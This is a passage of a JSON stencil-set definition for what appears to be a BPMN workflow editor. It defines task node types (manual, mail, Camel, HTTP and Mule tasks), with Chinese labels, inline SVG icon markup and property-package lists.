oryx:cx=\\\"50\\\" oryx:cy=\\\"40\\\" oryx:default=\\\"yes\\\" />\\n  </oryx:magnets>\\n  <g pointer-events=\\\"fill\\\" oryx:minimumSize=\\\"50 40\\\">\\n\\t<rect id=\\\"text_frame\\\" oryx:anchors=\\\"bottom top right left\\\" x=\\\"1\\\" y=\\\"1\\\" width=\\\"94\\\" height=\\\"79\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"none\\\" stroke-width=\\\"0\\\" fill=\\\"none\\\" />\\n\\t<rect id=\\\"bg_frame\\\" oryx:resize=\\\"vertical horizontal\\\" x=\\\"0\\\" y=\\\"0\\\" width=\\\"100\\\" height=\\\"80\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"1\\\" fill=\\\"#f9f9f9\\\" />\\n\\t\\t<text \\n\\t\\t\\tfont-size=\\\"12\\\" \\n\\t\\t\\tid=\\\"text_name\\\" \\n\\t\\t\\tx=\\\"50\\\" \\n\\t\\t\\ty=\\\"40\\\" \\n\\t\\t\\toryx:align=\\\"middle center\\\"\\n\\t\\t\\toryx:fittoelem=\\\"text_frame\\\"\\n\\t\\t\\tstroke=\\\"#373e48\\\">\\n\\t\\t</text>\\n    <g id=\\\"manualTask\\\" transform=\\\"translate(3,1)\\\">\\n    \\t<path oryx:anchors=\\\"top left\\\"\\n    \\t\\tstyle=\\\"fill:#d1b575;stroke=none\\\"\\n     \\t\\td=\\\"m 17,9.3290326 c -0.0069,0.5512461 -0.455166,1.0455894 -0.940778,1.0376604 l -5.792746,0 c 0.0053,0.119381 0.0026,0.237107 0.0061,0.355965 l 5.154918,0 c 0.482032,-0.0096 0.925529,0.49051 0.919525,1.037574 -0.0078,0.537128 -0.446283,1.017531 -0.919521,1.007683 l -5.245273,0 c -0.01507,0.104484 -0.03389,0.204081 -0.05316,0.301591 l 2.630175,0 c 0.454137,-0.0096 0.872112,0.461754 0.866386,0.977186 C 13.619526,14.554106 13.206293,15.009498 12.75924,15 L 3.7753054,15 C 3.6045812,15 3.433552,14.94423 3.2916363,14.837136 c -0.00174,0 -0.00436,0 -0.00609,0 C 1.7212035,14.367801 0.99998255,11.458641 1,11.458641 L 1,7.4588393 c 0,0 0.6623144,-1.316333 1.8390583,-2.0872584 1.1767614,-0.7711868 6.8053358,-2.40497 7.2587847,-2.8052901 0.453484,-0.40032 1.660213,1.4859942 0.04775,2.4010487 C 8.5332315,5.882394 8.507351,5.7996113 8.4370292,5.7936859 l 6.3569748,-0.00871 c 0.497046,-0.00958 0.952273,0.5097676 0.94612,1.0738232 -0.0053,0.556126 -0.456176,1.0566566 -0.94612,1.0496854 l -4.72435,0 c 0.01307,0.1149374 0.0244,0.2281319 0.03721,0.3498661 l 5.952195,0 c 0.494517,-0.00871 0.947906,0.5066305 0.940795,1.0679848 z\\\"\\n    \\t/>\\n\\t</g>\\n\\t\\n\\t<g id=\\\"parallel\\\">\\n\\t\\t<path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" d=\\\"M46 70 v8 M50 70 v8 M54 70 v8\\\" stroke-width=\\\"2\\\" />\\n\\t</g>\\n\\t\\n\\t<g id=\\\"sequential\\\">\\n\\t\\t<path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"2\\\" d=\\\"M46,76h10M46,72h10 M46,68h10\\\"/>\\n\\t</g>\\n\\n\\t<g id=\\\"compensation\\\">\\n\\t\\t<path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" d=\\\"M 62 74 L 66 70 L 66 78 L 62 74 L 62 70 L 58 74 L 62 78 L 62 74\\\" stroke-width=\\\"1\\\" />\\n\\t</g>\\n  </g>\\n</svg>\",\n    \"icon\" : \"activity/list/type.manual.png\",\n    \"groups\" : [ \"\\u4efb\\u52a1\" ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\", \"asynchronousdefinitionpackage\", \"exclusivedefinitionpackage\", \"executionlistenerspackage\", \"multiinstance_typepackage\", \"multiinstance_cardinalitypackage\", \"multiinstance_collectionpackage\", \"multiinstance_variablepackage\", \"multiinstance_conditionpackage\", \"isforcompensationpackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"Activity\", \"sequence_start\", \"sequence_end\", \"ActivitiesMorph\", \"all\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"MailTask\",\n    \"title\" : \"\\u90ae\\u4ef6\\u4efb\\u52a1\",\n    \"description\" : \"\\u90ae\\u4ef6\\u4efb\\u52a1\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:svg=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   xmlns:xlink=\\\"http://www.w3.org/1999/xlink\\\"\\n\\n   width=\\\"102\\\"\\n   height=\\\"82\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"left\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"left\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"left\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"right\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"right\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"right\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"40\\\" oryx:default=\\\"yes\\\" />\\n  </oryx:magnets>\\n  <g pointer-events=\\\"fill\\\" oryx:minimumSize=\\\"50 40\\\">\\n\\t<rect id=\\\"text_frame\\\" oryx:anchors=\\\"bottom top right left\\\" x=\\\"1\\\" y=\\\"1\\\" width=\\\"94\\\" height=\\\"79\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"none\\\" stroke-width=\\\"0\\\" fill=\\\"none\\\" />\\n\\t<rect id=\\\"bg_frame\\\" oryx:resize=\\\"vertical horizontal\\\" x=\\\"0\\\" y=\\\"0\\\" width=\\\"100\\\" height=\\\"80\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"1\\\" fill=\\\"#f9f9f9\\\" />\\n\\t\\t<text \\n\\t\\t\\tfont-size=\\\"12\\\" \\n\\t\\t\\tid=\\\"text_name\\\" \\n\\t\\t\\tx=\\\"50\\\" \\n\\t\\t\\ty=\\\"40\\\" \\n\\t\\t\\toryx:align=\\\"middle center\\\"\\n\\t\\t\\toryx:fittoelem=\\\"text_frame\\\"\\n\\t\\t\\tstroke=\\\"#373e48\\\">\\n\\t\\t</text>\\n    \\n\\t<g id=\\\"sendTask\\\" transform=\\\"translate(4,3)\\\">\\n\\t\\n\\t<!-- path here -->\\n\\t\\t<path oryx:anchors=\\\"top left\\\"\\n\\t\\t\\tstyle=\\\"fill:#16964d;stroke:none;\\\"\\n     \\t\\td=\\\"M 1 3 L 9 11 L 17 3 L 1 3 z M 1 5 L 1 13 L 5 9 L 1 5 z M 17 5 L 13 9 L 17 13 L 17 5 z M 6 10 L 1 15 L 17 15 L 12 10 L 9 13 L 6 10 z \\\"\\n     \\t/>\\n\\t</g>\\n\\t\\n\\t<g id=\\\"parallel\\\">\\n\\t\\t<path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" d=\\\"M46 70 v8 M50 70 v8 M54 70 v8\\\" stroke-width=\\\"2\\\" />\\n\\t</g>\\n\\t\\n\\t<g id=\\\"sequential\\\">\\n\\t\\t<path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"2\\\" d=\\\"M46,76h10M46,72h10 M46,68h10\\\"/>\\n\\t</g>\\n\\n\\t<g id=\\\"compensation\\\">\\n\\t\\t<path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" d=\\\"M 62 74 L 66 70 L 66 78 L 62 74 L 62 70 L 58 74 L 62 78 L 62 74\\\" stroke-width=\\\"1\\\" />\\n\\t</g>\\n  </g>\\n</svg>\",\n    \"icon\" : \"activity/list/type.send.png\",\n    \"groups\" : [ \"\\u4efb\\u52a1\" ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\", \"asynchronousdefinitionpackage\", \"exclusivedefinitionpackage\", \"executionlistenerspackage\", \"multiinstance_typepackage\", \"multiinstance_cardinalitypackage\", \"multiinstance_collectionpackage\", \"multiinstance_variablepackage\", \"multiinstance_conditionpackage\", \"isforcompensationpackage\", \"mailtasktopackage\", \"mailtaskfrompackage\", \"mailtasksubjectpackage\", \"mailtaskccpackage\", \"mailtaskbccpackage\", \"mailtasktextpackage\", \"mailtaskhtmlpackage\", \"mailtaskcharsetpackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"Activity\", \"sequence_start\", \"sequence_end\", \"ActivitiesMorph\", \"all\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"CamelTask\",\n    \"title\" : \"\\u9a7c\\u5cf0\\u4efb\\u52a1\",\n    \"description\" : \"\\u53d1\\u9001\\u6d88\\u606f\\u7ed9\\u9a7c\\u5cf0\\u7684\\u4efb\\u52a1\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:svg=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   xmlns:xlink=\\\"http://www.w3.org/1999/xlink\\\"\\n\\n   width=\\\"102\\\"\\n   height=\\\"82\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"left\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"left\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"left\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"right\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"right\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"right\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"40\\\" oryx:default=\\\"yes\\\" />\\n  </oryx:magnets>\\n  <g pointer-events=\\\"fill\\\" oryx:minimumSize=\\\"50 40\\\">\\n\\t<rect id=\\\"text_frame\\\" oryx:anchors=\\\"bottom top right left\\\" x=\\\"1\\\" y=\\\"1\\\" width=\\\"94\\\" height=\\\"79\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"none\\\" stroke-width=\\\"0\\\" fill=\\\"none\\\" />\\n\\t<rect id=\\\"bg_frame\\\" oryx:resize=\\\"vertical horizontal\\\" x=\\\"0\\\" y=\\\"0\\\" width=\\\"100\\\" height=\\\"80\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"1\\\" fill=\\\"#f9f9f9\\\" />\\n\\t\\t<text \\n\\t\\t\\tfont-size=\\\"12\\\" \\n\\t\\t\\tid=\\\"text_name\\\" \\n\\t\\t\\tx=\\\"50\\\" \\n\\t\\t\\ty=\\\"40\\\" \\n\\t\\t\\toryx:align=\\\"middle center\\\"\\n\\t\\t\\toryx:fittoelem=\\\"text_frame\\\"\\n\\t\\t\\tstroke=\\\"#373e48\\\">\\n\\t\\t</text>\\n\\t\\n\\t<g id=\\\"camelTask\\\" transform=\\\"translate(4,4)\\\">\\n\\t\\t<path\\n     style=\\\"fill:#bd4848;fill-opacity:1\\\"\\n     d=\\\"m 8.1878027,15.383782 c -0.824818,-0.3427 0.375093,-1.1925 0.404055,-1.7743 0.230509,-0.8159 -0.217173,-1.5329 -0.550642,-2.2283 -0.106244,-0.5273 -0.03299,-1.8886005 -0.747194,-1.7818005 -0.712355,0.3776 -0.9225,1.2309005 -1.253911,1.9055005 -0.175574,1.0874 -0.630353,2.114 -0.775834,3.2123 -0.244009,0.4224 -1.741203,0.3888 -1.554386,-0.1397 0.651324,-0.3302 1.13227,-0.9222 1.180246,-1.6705 0.0082,-0.7042 -0.133578,-1.3681 0.302178,-2.0083 0.08617,-0.3202 0.356348,-1.0224005 -0.218996,-0.8051 -0.694517,0.2372 -1.651062,0.6128 -2.057645,-0.2959005 -0.696769,0.3057005 -1.102947,-0.611 -1.393127,-1.0565 -0.231079,-0.6218 -0.437041,-1.3041 -0.202103,-1.9476 -0.185217,-0.7514 -0.39751099,-1.5209 -0.35214999,-2.301 -0.243425,-0.7796 0.86000899,-1.2456 0.08581,-1.8855 -0.76078999,0.1964 -1.41630099,-0.7569 -0.79351899,-1.2877 0.58743,-0.52829998 1.49031699,-0.242 2.09856399,-0.77049998 0.816875,-0.3212 1.256619,0.65019998 1.923119,0.71939998 0.01194,0.7333 -0.0031,1.5042 -0.18417,2.2232 -0.194069,0.564 -0.811196,1.6968 0.06669,1.9398 0.738382,-0.173 1.095723,-0.9364 1.659041,-1.3729 0.727298,-0.3962 1.093982,-1.117 1.344137,-1.8675 0.400558,-0.8287 1.697676,-0.6854 1.955367,0.1758 0.103564,0.5511 0.9073983,1.7538 1.2472763,0.6846 0.121868,-0.6687 0.785541,-1.4454 1.518183,-1.0431 0.813587,0.4875 0.658233,1.6033 1.285504,2.2454 0.768715,0.8117 1.745394,1.4801 2.196633,2.5469 0.313781,0.8074 0.568552,1.707 0.496624,2.5733 -0.35485,0.8576005 -1.224508,-0.216 -0.64725,-0.7284 0.01868,-0.3794 -0.01834,-1.3264 -0.370249,-1.3272 -0.123187,0.7586 -0.152778,1.547 -0.10869,2.3154 0.270285,0.6662005 1.310741,0.7653005 1.060553,1.6763005 -0.03493,0.9801 0.294343,1.9505 0.148048,2.9272 -0.320479,0.2406 -0.79575,0.097 -1.185062,0.1512 -0.165725,0.3657 -0.40138,0.921 -1.020848,0.6744 -0.564671,0.1141 -1.246404,-0.266 -0.578559,-0.7715 0.679736,-0.5602 0.898618,-1.5362 0.687058,-2.3673 -0.529674,-1.108 -1.275984,-2.0954005 -1.839206,-3.1831005 -0.634619,-0.1004 -1.251945,0.6779 -1.956789,0.7408 -0.6065893,-0.038 -1.0354363,-0.06 -0.8495673,0.6969005 0.01681,0.711 0.152396,1.3997 0.157345,2.1104 0.07947,0.7464 0.171287,1.4944 0.238271,2.2351 0.237411,1.0076 -0.687542,1.1488 -1.414811,0.8598 z m 6.8675483,-1.8379 c 0.114364,-0.3658 0.206751,-1.2704 -0.114466,-1.3553 -0.152626,0.5835 -0.225018,1.1888 -0.227537,1.7919 0.147087,-0.1166 0.265559,-0.2643 0.342003,-0.4366 z\\\"\\n     />\\n\\t</g>\\n  \\n\\t<g id=\\\"parallel\\\">\\n\\t\\t<path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" d=\\\"M46 70 v8 M50 70 v8 M54 70 v8\\\" stroke-width=\\\"2\\\" />\\n\\t</g>\\n\\t<g id=\\\"sequential\\\">\\n\\t\\t<path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"2\\\" d=\\\"M46,76h10M46,72h10 M46,68h10\\\"/>\\n\\t</g>\\n\\t\\n\\n\\t<g id=\\\"compensation\\\">\\n\\t\\t<path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" d=\\\"M 62 74 L 66 70 L 66 78 L 62 74 L 62 70 L 58 74 L 62 78 L 62 74\\\" stroke-width=\\\"1\\\" />\\n\\t</g>\\n  </g>\\n</svg>\",\n    \"icon\" : \"activity/list/type.camel.png\",\n    \"groups\" : [ \"\\u4efb\\u52a1\" ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\", \"asynchronousdefinitionpackage\", \"exclusivedefinitionpackage\", \"executionlistenerspackage\", \"multiinstance_typepackage\", \"multiinstance_cardinalitypackage\", \"multiinstance_collectionpackage\", \"multiinstance_variablepackage\", \"multiinstance_conditionpackage\", \"isforcompensationpackage\", \"cameltaskcamelcontextpackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"Activity\", \"sequence_start\", \"sequence_end\", \"ActivitiesMorph\", \"all\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"HttpTask\",\n    \"title\" : \"HTTP任务\",\n    \"description\" : \"一个HTTP任务\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:svg=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   xmlns:xlink=\\\"http://www.w3.org/1999/xlink\\\"\\n\\n   width=\\\"102\\\"\\n   height=\\\"82\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"left\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"left\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"left\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"right\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"right\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"right\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"40\\\" oryx:default=\\\"yes\\\" />\\n  </oryx:magnets>\\n  <g pointer-events=\\\"fill\\\" oryx:minimumSize=\\\"50 40\\\">\\n\\t<rect id=\\\"text_frame\\\" oryx:anchors=\\\"bottom top right left\\\" x=\\\"1\\\" y=\\\"1\\\" width=\\\"94\\\" height=\\\"79\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"none\\\" stroke-width=\\\"0\\\" fill=\\\"none\\\" />\\n\\t<rect id=\\\"bg_frame\\\" oryx:resize=\\\"vertical horizontal\\\" x=\\\"0\\\" y=\\\"0\\\" width=\\\"100\\\" height=\\\"80\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"1\\\" fill=\\\"#f9f9f9\\\" />\\n\\t\\t<text \\n\\t\\t\\tfont-size=\\\"12\\\" \\n\\t\\t\\tid=\\\"text_name\\\" \\n\\t\\t\\tx=\\\"50\\\" \\n\\t\\t\\ty=\\\"40\\\" \\n\\t\\t\\toryx:align=\\\"middle center\\\"\\n\\t\\t\\toryx:fittoelem=\\\"text_frame\\\"\\n\\t\\t\\tstroke=\\\"#373e48\\\">\\n\\t\\t</text>\\n    \\n\\t<g id=\\\"sendTask\\\" transform=\\\"translate(4,3)\\\">\\n\\t\\n\\t<!-- path here -->\\n\\t\\t<path oryx:anchors=\\\"top left\\\"\\n\\t\\t\\tstyle=\\\"fill:#16964d;stroke:none;\\\"\\n     \\t\\td=\\\"m 16.704699,5.9229055 q 0.358098,0 0.608767,0.2506681 0.250669,0.250668 0.250669,0.6087677 0,0.3580997 -0.250669,0.6087677 -0.250669,0.2506679 -0.608767,0.2506679 -0.358098,0 -0.608767,-0.2506679 -0.250669,-0.250668 -0.250669,-0.6087677 0,-0.3580997 0.250669,-0.6087677 0.250669,-0.2506681 0.608767,-0.2506681 z m 2.578308,-2.0053502 q -2.229162,0 -3.854034,0.6759125 -1.624871,0.6759067 -3.227361,2.2694472 -0.716197,0.725146 -1.575633,1.7457293 L 7.2329969,8.7876913 Q 7.0897576,8.8055849 7.000233,8.9309334 L 4.9948821,12.368677 q -0.035811,0.06267 -0.035811,0.143242 0,0.107426 0.080572,0.205905 l 0.5729577,0.572957 q 0.125334,0.116384 0.2864786,0.07162 l 2.4708789,-0.760963 2.5156417,2.515645 -0.76096,2.470876 q -0.009,0.02687 -0.009,0.08057 0,0.125338 0.08058,0.205905 l 0.572957,0.572958 q 0.170096,0.152194 0.349146,0.04476 l 3.437744,-2.005351 q 0.125335,-0.08953 0.143239,-0.232763 l 0.17905,-3.392986 q 1.02058,-0.859435 1.745729,-1.575629 1.67411,-1.6830612 2.309735,-3.2049805 0.635625,-1.5219191 0.635625,-3.8585111 0,-0.1253369 -0.08505,-0.2148575 -0.08505,-0.089526 -0.201431,-0.089526 z \\\"\\n     \\t/>\\n\\t</g>\\n\\t\\n\\t<g id=\\\"parallel\\\">\\n\\t\\t<path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" d=\\\"M46 70 v8 M50 70 v8 M54 70 v8\\\" stroke-width=\\\"2\\\" />\\n\\t</g>\\n\\t\\n\\t<g id=\\\"sequential\\\">\\n\\t\\t<path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"2\\\" d=\\\"M46,76h10M46,72h10 M46,68h10\\\"/>\\n\\t</g>\\n\\n\\t<g id=\\\"compensation\\\">\\n\\t\\t<path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" d=\\\"M 62 74 L 66 70 L 66 78 L 62 74 L 62 70 L 58 74 L 62 78 L 62 74\\\" stroke-width=\\\"1\\\" />\\n\\t</g>\\n  </g>\\n</svg>\",\n    \"icon\" : \"activity/list/type.http.png\",\n    \"groups\" : [ \"\\u4efb\\u52a1\" ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\", \"asynchronousdefinitionpackage\", \"exclusivedefinitionpackage\", \"executionlistenerspackage\", \"multiinstance_typepackage\", \"multiinstance_cardinalitypackage\", \"multiinstance_collectionpackage\", \"multiinstance_variablepackage\", \"multiinstance_conditionpackage\", \"isforcompensationpackage\", \"httptaskrequestmethodpackage\", \"httptaskrequesturlpackage\", \"httptaskrequestheaderspackage\", \"httptaskrequestbodypackage\", \"httptaskrequesttimeoutpackage\", \"httptaskdisallowredirectspackage\", \"httptaskfailstatuscodespackage\", \"httptaskhandlestatuscodespackage\", \"httptaskignoreexceptionpackage\", \"httptaskresponsevariablenamepackage\", \"httptasksaverequestvariablespackage\", \"httptasksaveresponseparameterspackage\", \"httptaskresultvariableprefixpackage\", \"httptasksaveresponseparameterstransientpackage\", \"httptasksaveresponseasjsonpackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"Activity\", \"sequence_start\", \"sequence_end\", \"ActivitiesMorph\", \"all\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"MuleTask\",\n    \"title\" : \"Mule 任务\",\n    \"description\" : \"发送消息的任务给Mule\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:svg=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   xmlns:xlink=\\\"http://www.w3.org/1999/xlink\\\"\\n\\n   width=\\\"102\\\"\\n   height=\\\"82\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"left\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"left\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"left\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"right\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"right\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"right\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"40\\\" oryx:default=\\\"yes\\\" />\\n  </oryx:magnets>\\n  <g pointer-events=\\\"fill\\\" oryx:minimumSize=\\\"50 40\\\">\\n\\t<rect id=\\\"text_frame\\\" oryx:anchors=\\\"bottom top right left\\\" x=\\\"1\\\" y=\\\"1\\\" width=\\\"94\\\" height=\\\"79\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"none\\\" stroke-width=\\\"0\\\" fill=\\\"none\\\" />\\n\\t<rect id=\\\"bg_frame\\\" oryx:resize=\\\"vertical horizontal\\\" x=\\\"0\\\" y=\\\"0\\\" width=\\\"100\\\" height=\\\"80\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"1\\\" fill=\\\"#f9f9f9\\\" 